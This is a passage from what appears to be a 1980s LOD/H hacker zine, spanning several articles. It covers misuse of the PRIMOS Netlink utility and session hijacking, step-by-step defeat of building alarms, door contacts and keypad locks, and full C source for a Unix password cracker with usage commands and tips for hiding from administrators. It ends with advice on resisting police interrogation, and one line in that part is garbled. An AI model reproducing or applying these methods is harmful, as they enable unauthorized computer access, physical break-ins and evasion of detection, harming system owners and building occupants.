By typing Netlink at the main prompt (OK,) you will be thrown into the Netlink utility. Netlink is found on Primenet (which is the networking software for Primes). Netlink is used to communicate with other remote systems. You will find the netlink utility on most packet networks, since there is much use for it there. Netlink can be accessed by all users on the system. Once netlink is typed you will get a message, similar to:

```
Netlink version x.xx
>(this being the main prompt)
```

Once again on-line help is available if you have no idea what you are doing. To call another system, you would use the NC xxxxxx format.
If you were on Telenet using Primenet supporting the Netlink utility you could call any system on Telenet. For example if I wanted to call my favorite VMS I would type-

>NC 201111

  201111 being the address. You will get a pause for about 5 seconds and you will be connected to the remote system. It is fairly slow, but it is sufficient. The whole process would look something like this-

OK, NETLINK

Netlink [Version 1.x]

>NC 201111
<Pause for about 5 seconds>

Username:
Password:

  Username and Password shows that I have connected to the Vax running VMS. I would log onto the remote system (the VMS in this case) like I would any other time. Once I am done looking around on the remote system I can just logoff by doing a Control P (this will put you back into the utility), or I could just logoff properly by using the VMS logout command and be put back into the Netlink utility program.

  If you ever receive the message "WILL NOT ACCEPT COLLECT CONNECTION" from a system off of Telenet, you can just reverse the charges to the Prime you are on and log onto the remote system. You can do this by using the NC format above. This allows you to bypass the need for a Telenet ID.

  Netlink won't compare to something like DECNET but it gets the job done. Remember if you aren't too sure what you are doing just type "help" for on-line help. To exit the Netlink utility type "Quit" or just hit Control-P. This will give you the main prompt once again.

<Upcase/Lowcase>

  Toggles upper and lower case.

<Control characters>

Control S = Pauses Text
Control P = Aborts Text or Utility
Control Q = Resumes Text

<Author Notes>

  If you gain access to Primos supporting on-lines games, which can be found by (AT)taching to the Games directory. There may be a game called "FRITZ", it's a fun game dealing with questions on the Primos system. It can also test your knowledge on the system.

  Usually if a person hangs up on the system without properly logging off you may be able to call the system and be attached to that account. This usually works on systems with one line. I called a Primos one day and was attached to a system account modifying a config program. It was interesting...

There are many Prime systems on Telenet so I suggest getting ahold of the updated LOD/H Telenet Directory from Issue I and jot down a few. Preferably Primenet, since they support the Netlink utility.

==========

Here's a list of some major differences between PRIMOS version 18.x.xx and Version 19.x.xxx

1. Version 19 supports Access Control Lists, which allows the user to set a specific access right on his/her directory.
2. Version 19's security has been tightened. A user will be prompted with the password prompt. A user is usually allowed only 1 unsuccesful login, if the ID or password is incorrect the user will be logged off.
3. Once a user has tried to execute a command/file without sufficient access rights he will be logged off of the system. The account will automatically be suspended until an operator has contacted the user.
4. Users have to change their password every 30 days.
5. The "CHAP" command can be executed by users to toggle their priority level.
6. Netlink has been enhanced with more commands.
7. A primary password may be used for better security.
8. After logging out you will be disconnected from the system, rather than prompted with the ER! prompt.
9. Dec VT132 is the commonly used operator terminal on version 19.
10. There have been new enhancements to the editor.

==========

As you can see, PRIMOS is a very versatile system. It's not very popular among hackers since there hasn't been too much information released on it. Most commands will be the same on version 18, if not just execute the Help file. The final element to PRIMOS will be alarm (it will be similar to the one on VMS). I will go a little more in-depth on the ALARM system in Part II (I will have more information on it, and by that time it will be inserted in later revisions of version 20). Basically the alarm will record all unsuccesful logins and will alert the operator at the terminal. The alarm will be a standard part of PRIMOS and can not be shut on and off, from a reliable source, the alarm may come in a different package.

==========

Part II: I will discuss new commands, creating accounts, go more in-depth on the Netlink utility, and any other changes in PRIMOS Version 20.

Until then....

You can reach me via the TJ staff account, for questions, requests for more information, and corrections to this article.

The LOD/H Technical Journal: File #5 of 10 (ISSUE #2)

Lex Luthor and The Legion Of Doom/Hackers Present:

Identifying, Attacking, Defeating, and Bypassing Physical Security and Intrusion Detection Systems

PART II: THE EXTERIOR

INTRODUCTION:

The 'exterior' refers to the area directly outside of a building and the things within the building which are on the exterior. These obviously are: doors, air conditioning ducts, windows, walls, roofs, garages, etc. I don't believe the word 'exterior' is the exact definition of what this article will encompass, unlike the 'perimeter', but it's the best I could come up with. This article primarily is of an informative nature, although methods of "attacking, defeating, and bypassing" will be explained. Its purpose is not specifically to encourage you to breach a facility's security, although I acknowledge that it

could be used as such. Some of the devices mentioned in the physical security series are used in homes as well as corporate, industrial, and military installations, but my aim is specifically towards the commercial aspect of buildings, not homes and apartments. Entering a facility to obtain information such as passwords or manuals is one thing, breaking into someones' home to steal their personal belongings is another.

THE EXTERIOR:

A facility's second line of defense against intrusion is its' exterior. The exterior may have any or all of the following:

* Window breakage detectors

* Keypad systems

* Card access control systems

* Magnetic locks and contacts

* Security lighting and CCTV

CCTV which is also used, was mentioned in Part I: The Perimeter.
Card Access Control devices will be mentioned in Part III: The Interior.

WINDOWS:

Windows are a large security hole for buildings. You may notice that many phone company buildings and data processing centers have few if any windows. There are two things that can be done to secure windows aside from making sure they are locked. One is to make them very difficult to break, and the other is to detect a break when and if it occurs. Here is a quick breakdown of the common types of glass/windows in use today:

Plate glass: Can be cut with a glass cutter.
Tempered: Normally can't be cut. Breaks up into little pieces when broken.
Safety: You need a hatchet to break this stuff.
Wire: This has wire criss-crossed inside of the glass, making it very hard to break, and even harder to actually go through the opening it is in place of.
Plexy: Very hard to break, doesn't really shatter, but can be melted with the use of a torch.
Lexan: This is used in bulletproof glass. One of the strongest and most secure types of glass.
Herculite: Similar to Lexan.

Foil tape:

This is by far the most common, and probably the most improperly installed form of glass breakage detection, which also makes it the most insecure. This is usually a silver foil tape about 5/16" wide which should be placed on the whole perimeter of a glass window or door. In the case of plexyglass or a similar material, the tape should be placed in rows separated by 6-12 inches.

The older foil was covered with a coating of eurathane or epoxy which enabled it to stick onto the glass. The newer foil has an adhesive back making installation much easier. There should be two connectors which are located at the upper top part of a window, and the lower part of the window which connects the foil to the processor, thus, completing the circuit. Foil may or may not

have a supervised loop. If it is supervised, and you use a key to scratch the foil (when it is turned off) making a complete break in it, an alarm will sound when it is turned on.

Foil is commonly used as a visual deterrent. Many times, it will not even be activated. The easiest way to determine if the facility is trying to 'B.S.' you into thinking they have a security system, is to see if there are any breaks in the foil. If there is a clean break, the 6-12V DC current which is normally making a loop isn't. Thus, breaking the glass will do nothing other than make some noise unless you take steps against that happening.

As was stated, foil is the most improperly installed type of glass breakage detection. When it is installed improperly, it will not cover all the area it should. An easy way to defeat this is by the following diagram:

```
+-------------+
! ........... !
! .         . !  . = foil tape
! . put     . !  - = top/bottom of door
! . contact . !  ! = sides of door
! . paper   . !  / = dividing line between 2 pieces of contact paper
! . in      . !  $ = ideal places for initial breakage
! . this    +-!  ' = clear area or outline of second piece of contact paper
! . area    ! !  <-- door handle
! .         +-!
! .         . !
! ........... !
!/////////////!
!''''''''''''!
!'           '!
!$''''''''''$!
+-------------+
```

As you can see, the installer neglected to place the foil all the way down to the bottom of the glass door. There is enough room for a person to climb through. They may have thought that if someone broke the glass, it would all break, which is normally correct. But if you obtain some strong contact paper, preferably clear, adhere it to the glass as shown, and break the bottom part at the '$' it will break up to the '/' line and thats it. Thus, leaving the foil in-tact. This will work on tempered glass the best, and will not work on Lexan or Plexyglass. There is a transparent window film with a break strength of up to 100 pounds per square inch which can be obtained from Madico, Inc. It is called, Protekt LCL-400 XSR, and makes glass harder to break and stays essentially in place even when broken. This can be used in place of the contact paper. Obviously, it is also used to protect glass from breakage.

Audio discriminators:

What these do is to compare the frequency of the sound that glass makes when it breaks, to the actual breakage of glass. This frequency is relatively unique, and can accurately determine when and if glass actually breaks. Your best shot at defeating this, is to do the same thing as mentioned above. Cover the glass with a film which will keep the glass in place after breaking it. If you break it properly, the frequency will not match that of glass breaking when it is not held in place.

Glass shock sensors:

These devices detect shock disturbances using a gold-plated ring that "bounces" off a pair of normally closed gold-plated electrical contacts. This will send a signal to a Signal Processor (SP) which determines whether an alarm condition

exists. There are two settings the SP can be set to which are:

SHOCK-BREAK: This mode requires an initial high energy shock, followed by a very low engery shatter. The shatter must occur within about 1 second before an alarm can occur.

SHOCK-ONLY: An alarm will occur once the first shock is detected. This may or may not be accompanied by a shatter.

Obviously the more secure setting for a facility would be shock-only. Though, both are equally dangerous for an intruder. The methods mentioned earlier about preventing the glass from shattering will not work when this device is used in the shock-only mode. It may work, depending on the type of glass, if it isn't in the shock-break mode.

These devices are usually found protecting large plate glass and multi-pane windows. They are roughly 2 inches by 1 inch and can be mounted on the frame of a window, between two windows, or on the glass itself. These sensors can cover up to 150 square feet of glass.

These are the best of the lot for window breakage detection. Most devices have a constantly supervised loop, and if you cut a wire, that loop will break, and cause an alarm condition. They are typically placed somewhere on the window pane and not on the window, thus, making them harder to visually detect...from the outside that is. Though from close inspection, you may be able to determine if these are in place. Obviously they can easily be seen from the inside...

The sensor is normally placed no more than a couple of inches from the glass. If it is too far away, or if you can move one over 4 inches from the glass, its detection capability is somewhat diminished. It is probably screwed in, and has an adhesive backing, so moving it may not be too easily accomplished. False alarms are not common, unless the windows rattle. There are sensors available which are not as sensitive, and will not "overreact" to slight vibration, these are called "damped" sensors.

MAGNETIC CONTACT SWITCHES:

The word "contact" is somewhat contradictory to how these devices are commonly used. In most cases, the magnet and the switch are not in physical contact of each other, rather, they are in a close proximity of each other, although there are some models which are indeed in contact with each other. There are various types and levels of security that these devices possess.

They can be surface mounted (floor or wall mounted) or concealed (recessed). The most common are surface mounted which are placed on top of the door. When inspecting for these devices, examine the whole perimeter of the door, from top to bottom. Most doors have a +/- 1/4" gap all the way around, in which you should also check for concealed contacts. These are round cylinders that are recessed into the door or wall, which obviously makes them less visible. The other contacts range from miniature, with dimensions as small as 1x1/4x1/4" to the larger ones at 5x2x1". They are usually in colors of off-white, grey, and brown and are mounted with nails, screws, double sided tape, or are epoxied onto the door or wall surface(s). The switches are hermatetically sealed, as are the glass breakage detectors mentioned earlier, can operate in moist or dusty areas, are corrosion resistant and have indoor/outdoor use. They can also be used on windows, fence gates, truck trailors, boats, heavy equipment, safes, and vaults.

The different types of devices in order of least to most secure are:

1) Standard Magnetic Contacts: These consist of one reed switch and one magnet. They may be defeated with the use of a second magnet which would be placed

in the vicinity of the switch, while opening the door or window and while closing them also. This way, the switch never detects the abscense of the magnet, thus, no alarm occurs.

2) Biased Magnetic Contacts: These consist of one reed switch with a "biasing" magnet that changes the state of the reed switch. The magnet is then placed at the correct distance to offset the bias magnet, creating a "balanced" condition. The switch can be defeated with the use of a single magnet. The trick is to:

   A) You must have the correct size magnet, which can be accomplished by obtaining the same type or model as what is in place.

   B) You must determine the correct polarity which may be accomplished with either a compass, or if the alarm is not activated, (possibly during normal business hours), by opening the door and placing your magnet near the device's magnet and determine the polarity. If you do not have much time, then its a 50-50 shot.

   C) The last criteria is to keep the magnet at the same or close to the same distance from the switch as the original magnet was. In some cases the device will be placed in such a manner that correct placement of the second magnet will be difficult if not impossible.

3) Balanced Magnetic Contacts: These consist of one biased reed switch and one unbiased reed switch. The second reed will be of the correct sensitivity and position so as to not operate with the actuator magnet. It must also operate with the addition of a second magnet. It could be defeated by a single magnet that is moved into place as the door is opened. This requires coordinated movement of the door and magnet.

4) Preadjusted Balanced Magnetic Contacts: These consist of three biased reed switches and may have an optional fourth tamper reed. Two reeds are polarized in one direction and the third is polarized in the opposite direction. The housing consists of three magnets with the polarity that corresponds to the switches. It is preadjusted to have a fixed space between the magnet and the switch. This is the most secure type of magnetic contact switch. The three-reed type could be defeated by using one of its own magnets, but not a bar magnet. The type with four reeds cannot be defeated with either of the two magnets because the fourth reed will activate when a magnet is brought within actuating distance. If you are able to determine which is the tamper reed, you can try to keep the three magnets in contact with the corresponding reeds. At the same time you must have the correct polarity, and in the process, not activate the tamper reed. If you accomplish those, you may be able to defeat it. This will most likely require two people and a bit of luck.

   The most secure devices are made of die cast aluminum instead of plastic, are explosion proof (for vaults and safes), have terminals mounted inside the housing which provides protection from tampering and shorting, and have armored cabling.

A wider break distance will prevent fasle alarms due to loose fitting doors, thus, if the door is loose fitting it may have a wide break distance. The wider the break distance, the easier it is to defeat. This will allow you to introduce another magnet in cramped places since the door can be opened a wider distance before an alarm condition occurs.

Some devices allow the installer to adjust the gap with a screwdriver instead of placing the switch a certain distance from the magnet. In some devices, use of any ferrous (Iron) material in the vicinity of the switch can cause a change in gap distance. As a gap is increased, the switch may bias and latch. When latched, the switch will remain closed even when the magnet is removed!! This

means that when you open the door, it thinks that the door is closed, and you are able to stealthily go thru the door. You can test for a latched condition by removing the magnet (opening the door) and using a Volt Ohm Meter, if it reads INFINITY, the switch is OK. If not, it may be latched. If you can adjust the gap to the point of it being latched, without being noticed, you've got it made.

Wireless Switch Transmitters:

These are essentially the same as the other devices mentioned except that they use an FM digital signal for alarm conditions (a door or window open) and for maintenance conditions (low battery, transmitter malfunction/removal, long term jamming, etc). There should be continuous polling and a maintenance alarm will occur if the signal is missing for a few minutes. The transmitters are usually powered by a couple of AAA 1 1/2V pen cells, which can last a few years. Most devices will send out a signal after a specific interval. Common intervals are about every 30 seconds. You can verify if the device is indeed sending out a signal by placing a milliammeter capable of reading 10 ua in series with the batteries and reading the discharge current. If it occurs every 30 seconds, then it is sending out a signal every 30 seconds. A hint that this type of device is in use, is since range generally decreases as a transmitter gets closer to the floor, the transmitter will be placed as high as possible. The transmitter probably has a range of about 200 feet, although some environments may reduce this range due to construction materials inherent in the building. The frequency should be in the 314 MHz range.

As was mentioned, these are the same as regular magnetic contact switches except that there is a transmitter instead of a wire for transmitting alarm and maintenance conditions, thus, the switch can be defeated in the same manner as has been previously stated. Defeating an X-mitter is much easier than defeating a wire. You can defeat the transmitter if you can sufficiently block or diminish the signal strength so that the receiver is unable to receive it. Radio waves have a tendency to bounce and reflect off of metallic surfaces, which includes foil, and pipes. If you have located the transmitter, which should be attached to or near the actual contact, you can block or jam the signal as you open the door. Hopefully this will be between the 30 second interval that it sends an "i'm ok" signal to the receiver, but it's not critical to do so. As was stated, most receivers will not cause an alarm condition if it doesn't recieve a signal once or twice, but after a few minutes it will. So, as you open the door, it tries to send the signal, you block or jam it, and you slip through without detection.

This information can also apply to security relating to the 'interior' of a facility, ie. Part III of this series. Many of the techniques for defeating magnetic contact switches are geared toward being inside the facility. Many facilities have switches on doors to monitor movement of personnel within the facility. But it also is used on the exterior and some methods will work on doors and possibly windows on the exterior. Of course, you have to have a way of opening the door, and that follows.

DOORS AND LOCKS:

As you know, doors are the primary entrance point into a building. Since they are the primary target for unauthorized entry, they have the most security added. I am not going to mention anything about the art of picking locks. Although mechanical locks and keys have been the most common type of security used in the past as well as today, I am going to concentrate on the more advanced security systems in use.

Pushbutton keypad locks:

There are two types, mechanical and electronic. I will go into detail about each. I will give you a few examples of these devices which comes directly from brochures which I have been sent. I am merely summing up what they said.

Electronic:

Securitron DK-10:

This is a unit which has dimensions of 3x5x1". It has a stainless steel keypad which is weatherproof, mounts via hidden screws and has no moving parts. The keypad beeps as each button is pressed, and an LED lights when the lock is released. It is slightly different in appearence than most other electronic keypads:

```
+----+
! 1A !  Each block (1A/B2) is one button. Thus, there are 5 buttons total on
! B2 !  this device. The "/"'s at the bottom of the device represents the name
!    !  of the company and possibly the model number of the device.
! 3C !  (ie. Securitron DK-10). It has 2-5 digit codes. Thus, a 2 digit code
! D4 !  will have a maximum of 5 the the 2nd power (5 squared=25) combinations.
!    !  Of course it increases as the number of digits used increase.
! 5E !  This unit has an 11 or 16 incorrect digit threshold. If it is reached
! F6 !  a buzzer sounds for 30 seconds during which it will ignore any entries.
!    !  When a valid code is entered, the lock is released for a 5, 10, 15 or
! 7G !  20 second interval.
! H8 !
!    !
! 9K !
! L0 !
!    !
!////!
!////!
+----+
```

Sentex PRO-Key:

This device has a keypad resembling one of a payphone. It is a sealed, chrome plated metal keypad. It has the standard 10 digits with * and #. It can have up to 2000 individual codes with a lenght of 4 or 5 digits. It allows 8 time zones, "2-strikes-and-out" software which is its invalid code threshold, and anti-passback software.

Obtaining codes--
Your aim is to obtain the correct code in order to open the door. Plain and simple. There are various methods in which you can accomplish this. You can try to obtain a telescope or similar device and attempt to get the exact code as it is being entered. This is obviously the quickest method. If you cannot discern the exact code, the next best thing is to determine exactly how many digits were entered, since most devices have variable code lengths. If you can make out even one digit and when it was entered, you will substantially reduce the possibilities. Another method is to put some substance on the keypad itself, which preferably cannot be noticed by the user. After someone enters a code, you can check the keypad to see where there are smudges or if you use what the police use to find fingerprints, you can see what digits were pushed, although you will have no idea in what order. This will drastically cut down the combos. Say that someone enters a 5 digit code on a 10 digit keypad. You check the keypad and see that, 1,2, 4, 7, and 9 were pushed. If you attempted brute force, you will have 25 combinations to try. If a 4 digit code 'appeared' to be

entered, as 0, 2, 4, 8 were 'smudged', it is possible that one of the digits were pushed twice. Keep that in mind. A way to know for sure would be to clean the pad and 'dust' it, most fingerprints will be clear, but one will be less clear than the others. Thus, you can be reasonably sure that the digit which is smudged was pressed twice.

Thresholds--
Brute force attempts on electronic keypads is suicide. Once a certain number of invalid attempts has been reached, it will probably be logged and a guard may be dispatched. Your best bet is to try once or twice, wait (leave), try once or twice again, wait, etc. Sooner or later you will get in.

Auditlogs--
Many of these devices are run on micro's. The software that runs these devices allows for an increased ability to monitor the status of these devices. They can track a person throughout the facility, record times of entry and exit, and when the maximum invalid code threshold is reached.

Anti-passback--
This term is commonly used in card access control, but it applies differently to keypads. This feature prevents the use of two codes being used at the same time. That is, Joe Comosolo uses code #12345 and enters the building. Then, you enter Mr. Comosolo's code, #12345 but the system knows that Joe is already in the building, and has not entered his code before leaving. Thus, you do not gain access, and that action is most likely recorded in the audit log. This option will only be in effect when:

1) Each individual has a different code.

2) There is a keypad used for entry, and a keypad used for exit.

Tailgating--
This occurs when more than one person enters through a controlled access point. Joe enters his code, and goes into the building. You follow Joe, and make it in just before the door closes, or in the case of the devices waiting 10 or 20 seconds before the door locks again, you let it close, and open it before it locks.

Open access times--
During peak morning, noon, and evening hours, a facility may set the system to not require a code during, say, 8:55AM to 9:05AM, thus, enabling most anyone to gain entry during that time.

The LOD/H Technical Journal: File #6 of 10

A Discreet Unix Password Hacker

By Shooting Shark / Tiburon Systems 4 Mar 87

Imagine this familiar situation: you have an account on a Unix system. Perhaps it's your account on your school's VAX, or an account you've hacked yourself. You'd like to collect more passwords to this system - perhaps to the 'root' or 'bin' accounts so you can take control of the system, or the password of the class hotshot who's going to get an 'A' on his compiler project and upset the curve unless you go in and erase all of his files. The problem is getting these passwords. The most obvious method would be to manually enter login/password combinations until you found one. This is slow (>10 seconds per try), will give you sore fingers, and multiple invocations of the 'login' program may be noticed. You could write a program

on your micro to dial up the site (*if* it has a dialup) and try passwords from a login/password pool, but this is just as slow, ties up your computer and your phone line, and again is subject to easy detection. The solution to this problem is to have the system itself hack passwords for you. It can do this unattended and at a considerable speed while you go about your life, and will be difficult to detect by system demigods.

Here is the C source for my program. Upload it to your Unix site and compile it.

```
--- cut here ---
/*
 * hpw.c v1.4: 8 October '86
 * Written by Shooting Shark / Tiburon Systems
 *
 */

#include <sys/file.h>
#include <stdio.h>
#include <pwd.h>
#include <signal.h>

struct     passwd *pwd, *getpwname(name);

int   len, abort(), endpwent();

char  crbuf[30], *strcpy(), *crypt(), *getpass(), *getlogin(), *pw, pwbuf[10];

main(argc, argv)
int argc;
char *argv[];
$

FILE *fopen(), *fp;

char *uname;
signal(SIGINT,abort);


if (argc !=3) $
     printf("usage : %s username pwfileXn",argv[0]);
     exit(-1);
     #





if (!(pwd =getpwnam(argv[1]))) $
     printf("unknown user : %sXn",argv[1]);
     exit(-1);
     #

if ((fp = fopen(argv[2], "r")) == NULL) $
     perror(argv[2]);
     exit(-1);
     #



sprintf(crbuf,"%s",pwd->pw_passwd);

printf("hacking %sXn",argv[1]);
printf("encrypted password : %sXn",crbuf);
```

```
while (fgets(pwbuf, 20, fp) != NULL) $
     pwbuf[strlen(pwbuf)-1] = 'X0';
     pw = crypt(pwbuf,crbuf);
     if (!strcmp(pw,crbuf)) $
     printf("%s ==> %sXn",argv[1],pwbuf);
     exit(0);
     #
     #
printf("done -- password not found.Xn");


     endpwent();


#

abort()
$
printf("aborted while trying '%s'Xn",pwbuf);

exit(-1);
#
```

--- cut here ---

(Note - written on a Pyramid 90x running Berzerkeley Unix 4.2. If you're running SysV or something else you may have problems. You probably won't, but you might.)

Now that you have the above compiled into a file called 'hpw,' invoke it with

```
% hpw username pwfile
```

(% is the shell prompt; don't type it...)

where username is the login name of the user who's password you'd like to hack, and pwfile is the path of a text file that contains the pool of likely passwords. Most sites will have a file of words for the 'spell' spelling checker - it will probably be /usr/dict/words and contain at least 15,000 potential passwords.

Hpw starts by loading the user's encrypted password from /etc/password and stores it in crbuf. It then starts reading words from the file you've specified, encrypts them using the crypt() routine, and compares them to the encrypted password. If they match, the program outputs a line like: 'shark ==> hispassword' and quits. If they don't match, it goes on to the next potential password. If the program goes through the entire list and doesn't find the correct password, it prints 'done -- password not found' and quits. If you hit ^C (or BREAK, or whatever your interrupt character is) the program tells you which word in the file it had gotten to when it was interrupted and quits. Then, the next time you attempt to hack that login name, you can start where you left off during the previous session.

The beauty of this program is that you can run it in background with the output sent to a file and then log off, or play rogue, or whatever. To hack melody's password using /usr/dict/words as your pool file, and to have all messages generated by the program sent to a file called 'out.file' and run the program in background, you'd enter from csh:

```
% hpw melody /usr/dict/words > out.file &
```

the & signifies a background process. The system will print something like:
[1] 90125

this means it's job number 1 for you, and has process id 90125. To bring the program back into the foreground, enter:

```
% %1
```

and to kill the process, type

```
% kill 90125
```

if you have hpw running in background and you're in csh, you can just log off and the program will continue to silently gather passwords. If you're under the sh shell, you'll need to run the program with 'nohup' (read the man entry for more info) or sh will kill the process when you log out.

Anyway, after you've given the program sufficient time to go through the list (more on this in a second), log in again. If the output file exists, the program has completed its job. Otherwise use 'ps' to see if the program is still running. cat the file and you'll see something like this:

```
hacking melody
encrypted password : K4h7iidD1vX0a
melody ==> joshua (or 'done -- password not found')
```

make a note of melody's password, rm the incriminating output file, and move on to the next login name. Easy, huh?

Now for the bad news: The designers of Unix weren't stupid. They deliberately designed the crypt() routine so that it's unique (it's a minor deviation of the DES, so you can't use a fast DES-busting program to attack the /etc/passwd file). This program uses the fastest possible method of brute-force hacking Unix passwords, but it isn't too speedy itself. I wrote the program on a Pyramid 90x, which is a 32-bit multi-processor RISC-architecture machine. When running this program in foreground while I was the only user on the system, it averaged 2 seconds per try. You can expect this performance on one of the better VAXen. If you're on a Cray (sure...) it might take the program 1/8 second per hack. If you're on an AT running XENIX or a PDP-11/44, expect 5 seconds per try. (I really don't know how long it would take, why don't some people time it and give me feedback...I'd appreciate it.)

Realistically, if you're using the system's spelling-checker word list that contains 20,000 words and you're running the program in background, give it at least 12 hours. If you have a system operator who likes to keep track of people's long-running jobs, tell them via mail that you'll be computing the limit of 1/x to infinity or something like that and they'll leave the process alone. If you have your own file of 100 probable passwords (such as 'joshua,' 'secret' or the person's name) it will take 10 minutes or so to complete. Sensible selection of potential passwords (most UNIX systems don't allow passwords of less than 5 characters; attempt to change your password to progressively shorter and shorter words until you find out what your system's minimum length is) and running the program at strategic times (like after midnight) will cut the time down.

Hackers who know 'C' (and everybody should know C by now; it's the best language ever designed) will want to modify the program I've presented. You may want to 'hard code' the username to be hacked and the pwfile path; 'progname root word.file' on a process table might look a LITTLE suspicious to snoopy system operators (and it goes without saying that you shouldn't call the program 'hack' or 'hpw', nor leave the source unencrypted in your directory). Also, since the crypt() routine is universal, you can hard-code the 'crbuf' variable with the encrypted password (from /etc/passwords) of a user on another system! When hardcoding a password, make sure you spell it correctly, and that it contains exactly 13 characters of upper & lower case, and/or numbers. I once successfully hacked the root account of an AT&T Micro in

Michigan on my local Pyramid 90x. Thus I didn't need to take up space on the guy's file system with the source and didn't have to run the program on his slow system - once I obtained the 6300's /etc/passwd file from the person who hacked into the system, I attacked it at my local site. If you happen to have a system of your own that runs Unix, you can hack any system's root account at home, completely risk-free.

Unix is the best operating system I've ever used. It's immensely powerful; as demonstrated by the program above, it's easy to make the system work for you. If you have any questions, comments, criticisms, threats, etc, get in touch with me - my primary goal is not to prove that I'm more of a Unix Wizard than the other guy, but rather to do my part in the ongoing crusade to make forbidden information available to the people who can use it.
'Knowledge is Power,' as the saying goes.

-- Shark.
(>----------<)
The LOD/H Technical Journal: File #7 of 12

Intelligence and Interrogation Processes
By: Master Of Impact and the Legion Of Hackers

INTRODUCTION:

Doing what we do best always carries the risk of someone, somewhere, wanting to hold you for questioning. In this article I hope to give those persons who never have been exposed to this type of thing a little insight to the methods that are in use (and are in no ways happen to be all new), that can give you the edge you need to come away "sin faulta". In fact, these interrogation practicies are used a lot by teachers, local police, the FBI and Secret Service girlfriends, wives, parents, etc. to obtain information from you that you probably don't want to give out.

Interrogation is the art of questioning and examining a source in order to obtain the maximum amount of useful information. The goal of any interrogation is to obtain useful and reliable information in a lawful manner and in a minimum amount of time. The goal of any source is to deceive or hinder any attempts of the interrogator to get information out of him.

This article will deal primarily with the principles, techniques, and procedures of intelligence interrogation. By reading this article, one who runs the risk of being interrogated can build countermeasures for common interrogation techniques. This article has some paraphrased material from a government interrogation manual but the majority of the information was from personal experience and prior knowledge of the subject.

You cannot hope to defeat interrogation techniques unless you first know what they are. The ones listed herein are the most commonly used. After reading this article, you should be able to tell when you are being interrogated by people, and what technique(s) they are using when you probably would not have known before. Once you know what they are up to and how they are going to TRY to accomplish it, YOU have the initiative!

INITIATIVE:

Achieving and maintaining the initiative is essential to a successful interrogation just as offense is the key to success in combat oPe`#K=9"+v initiative in any interrogation must rest with the interrogator throughout the entire interrogation. He will have certain advantages at the beginning of an

interrogation which will enable him to grasp the initiative and assist in maintaining the initiative throughout the interrogation.

The interrogator has a position of authority over you. You realize this fact, and in some cases, believe that your future might well depend upon your association with the interrogator. As in the case of police questioning, "cooperate and we will go easy on you". Like hell they will.

The interrogator knows the purpose of the interrogation; the source does not necessarily know the exact reason, but can generally assume (especially in the case of a computer hacker or phone phreak, which is what the term "source" will be referring to during this article) because he or she is most usually conscious of horrible and nasty wrong-doings he or she may have been responsible for. Unfortunately for the source, he is generally very much in the dark about what's happening to his life while it is, in fact, crumbling around him (temporarily, anyway). This gives the source a not-so-illusionary behavior pattern of the proverbial chicken who's had its head chopped off.

Having gained the initial advantage which is quite an understatement, seeing that, although the risks to the source during the perpetration of a crime are quite obvious, the possible realistic results of being caught aren't quite as impressive while one is getting away with a crime than when one's home is invaded by the JC Penny-suit men wearing mirrored sunglasses, the interrogator must strive to maintain the initiative applying appropriate interrogation techniques through the exercise of self-control; by taking advantage of the source's weaknesses as they become apparent; and by continuously displaying an attitude of confidence and self-assurance. The interrogator, however, is 'supposed' to never take advantage of your weaknesses to the extent that the interrogation involves threats, insults, torture or exposure to unpleasant or inhumane treatment of any kind. Remember, the keyword is supposed.

It is possible for the interrogator to lose the initiative during the interrogation of a source. If this should occur, he will probably postpone the interrogation and reassess the situation. If the interrogation is resumed, a different interrogator will probably be introduced. Following are some examples of loss of initiative:

* The interrogator becomes angry and completely loses his self-control because of the arrogant actions of the source (such as the unbuttoning of a jacket to reveal "Secret Service Sucks" spray painted onto the source's T-shirt.) As a result, the interrogator loses sight of his objective and concentrates his efforts on humbling the source.

* During the interrogation the interrogator fails to note significant discrepancies in the source's story. The interrogator may lose his initiative as the source gains confidence from his success and resorts to further deception, leading the interrogator away from his objective.

* The interrogator becomes overly friendly with the source and allows him to lead the interrogation. The source reports only what he believes to be important and neglects several significant items of info which could have been obtained had the interrogator maintained the initiative.

PHASES OF INTERROGATION:

Approach Phase:

Regardless of the type of source you are and your outward personality, you do possess weaknesses which, if recognized by the interrogator, can be exploited. A human being is likely to:

- Talk, especially after harrowing experiences
- Show deference when confronted by superior authority
- Rationalize acts about which he feels guilty
- Lack the ability to apply or to remember lessons he may have been taught regarding security if confronted with a disorganized or a strange situation.
- Cooperate with those who have control over him
- Attach less importance to a topic which the interrogator demonstrates identical or related experiences and knowledge
- Appreciate flattery and exoneration from guilt
- Cooperate readily when given material rewards
- Cooperate readily when treated as an equal

TECHNIQUES:

"File and Dossier"

The interrogator prepares a dossier containing all available info obtained from records and docs concerning you. Careful arrangement of the material within the file may give the illusion that it contains more data than is actually there. The file may be "padded" with extra paper, if necessary. Index tabs with titles such as "education", "employment", "criminal record", "bulletin boards", "violated computer systems", and others are particularly effective for this purpose. The interrogtor will confront you with the dossier at the beginning of the interrogation and explain that "intelligence" has provided a complete record of every significant happening in your life; therefore, it would be useless to resist interrogation. The interrogator may read a few selected bits of known data to further impress you. If the technique is successful, you will be impressed with and more importantly, terrified by the "voluminous" file, conclude that everything is known, and resign to complete cooperation.

"We know ALL"

This technique may be employed in conjunction with the above or by itself. The interrogator must first become thoroughly familiar with the available data concerning you. To begin the interrogation, the interrogator asks questions based on his known data. When you hesitate, refuse to answer, or provide an incomplete or incorrect reply, the interrogator himself provides the detailed answer. Through the careful use of the limited number of known details, the interrogator may convince you that all the info is already known; therefore, your answers to the questions are of no consequence. When you begin to give accurate and complete information, the interrogator interjects questions designed to gain the needed info. Questions to which answers are already known are also asked to test you and to maintain the deception that all the info is already known. A VERY effective technique I might add.

"Rapid Fire"

This approach technique involves a psychological ploy based on the principles that:

* Everyone likes to be heard when they speak; and

* It is confusing to be interrupted in mid-sentence with an unrelated question.

This technique may be used with one, or simultaneously by two or more interrogators in questioning the same source. In employing this technique the interrogator asks a series of questions in such a manner that you do not have time to answer a question completely before the next question is asked. This tends to confuse you and you are apt to contradict yourself, as you have little time to prepare your answers. The interrogator then confronts you with the inconsistencies, causing further contradictions. In many instances you will begin to talk freely in an attempt to explain yourself and deny the inconsistencies pointed out by the interrogator. In attempting to explain your answers, you are likely to reveal more than you intend, thus creating additional leads for the interrogator.

"Mutt and Jeff"

